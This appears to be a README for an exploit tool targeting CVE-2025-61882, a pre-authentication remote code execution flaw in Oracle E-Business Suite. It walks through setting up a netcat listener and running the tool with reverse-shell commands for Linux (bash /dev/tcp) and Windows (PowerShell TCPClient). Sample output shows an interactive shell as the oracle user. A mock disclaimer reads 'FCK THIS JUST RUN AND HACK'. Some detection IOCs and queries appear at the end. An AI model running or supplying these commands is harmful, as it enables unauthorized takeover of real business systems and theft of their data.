
Exploit for CVE-2025-61882, a critical pre-auth RCE in Oracle E-Business Suite. Combines SSRF, CRLF injection, HTTP smuggling, and XSLT injection for unauthenticated remote code execution.
See our blog post for technical details
THIS TOOL IS FOR AUTHORIZED SECURITY TESTING ONLY
╔══════════════════════════════════════════════════════════════╗
║ ║
║ 🚨 UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL 🚨 ║
║ ║
║ By using this tool, you acknowledge and agree that: ║
║ ║
║ ║
║ FCK THIS JUST RUN AND HACK ║
║ ║
║ ║
║ ║
║ ║
║ ║
╚══════════════════════════════════════════════════════════════╝
Security testing tool for CVE-2025-61882, a critical pre-authentication remote code execution vulnerability affecting Oracle E-Business Suite.
Created by: Mindflare
CVE-2025-61882 is a sophisticated exploit chain combining five distinct vulnerabilities:
/OA_HTML/configurator/UiServletreturn_url parameter/OA_HTML/help/../ prefix# Clone the repository
git clone https://github.com/[YOUR-USERNAME]/CVE-2025-61882-POC
cd CVE-2025-61882-POC
# Install dependencies
pip3 install -r requirements.txt
# Make script executable (Linux/Mac)
chmod +x cve-2025-61882-detector.py
In a separate terminal, start a netcat listener:
# Linux/Mac
nc -lvnp 4444
# Windows
nc.exe -lvnp 4444
Basic Usage (Linux Target):
python3 cve-2025-61882-detector.py \
--target http://192.168.1.22:8000 \
--lhost 192.168.1.10 \
--lport 80 \
--command 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1' \
--platform linux
Windows Target:
python3 cve-2025-61882-detector.py \
--target http://192.168.1.22:8000 \
--lhost 192.168.1.10 \
--lport 80 \
--command 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(\"192.168.1.10\",4444)"' \
--platform windows
| Parameter | Description | Required | Example |
|---|---|---|---|
--target | Target Oracle EBS URL | Yes | http://192.168.1.22:8000 |
--lhost | Your IP address (for callbacks) | Yes | 192.168.1.10 |
--lport | HTTP server port (serves XSL payload) | Yes | 80 or 8080 |
--command | Command to execute on target | Yes | See examples above |
--platform | Target OS: linux or windows | Yes | linux |
[*] Target URL: http://192.168.1.22:8000
[*] Listener IP: 192.168.1.10
[*] Listener Port: 80
[*] Platform: linux
[*] HTTP server started on 192.168.1.10:80
[*] Connecting to target to retrieve CSRF token...
[*] CSRF TOKEN: WLDW-GNFH-MB4K-76EA-JB48-VY3X-L30R-NZT0
[*] Cooking HTTP smuggle stub...
[*] Sending exploit payload...
[*] Exploit payload sent successfully
[+] 192.168.1.22 - GET /OA_HTML/help/../ieshostedsurvey.xsl HTTP/1.1
[+] XSL payload served successfully
ubuntu@attacker:~$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.1.22 30290
bash: no job control in this shell
[oracle@apps EBS_domain]$ id
uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall)
[oracle@apps EBS_domain]$
SELECT * FROM XDO_TEMPLATES_B
WHERE TEMPLATE_CODE LIKE 'TMP%' OR TEMPLATE_CODE LIKE 'DEF%';
Network IOCs:
200.107.207.26 (Cl0p C2)
161.97.99.49 (Secondary)
HTTP Patterns:
POST /OA_HTML/configurator/UiServletPOST /OA_HTML/SyncServletGET /OA_HTML/help/../*.jspMIT License with Educational Use Restrictions - See LICENSE
DISCLAIMER: This software is for authorized security testing only. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.
**Created by:** Mindflare | **Last Updated:** October 2025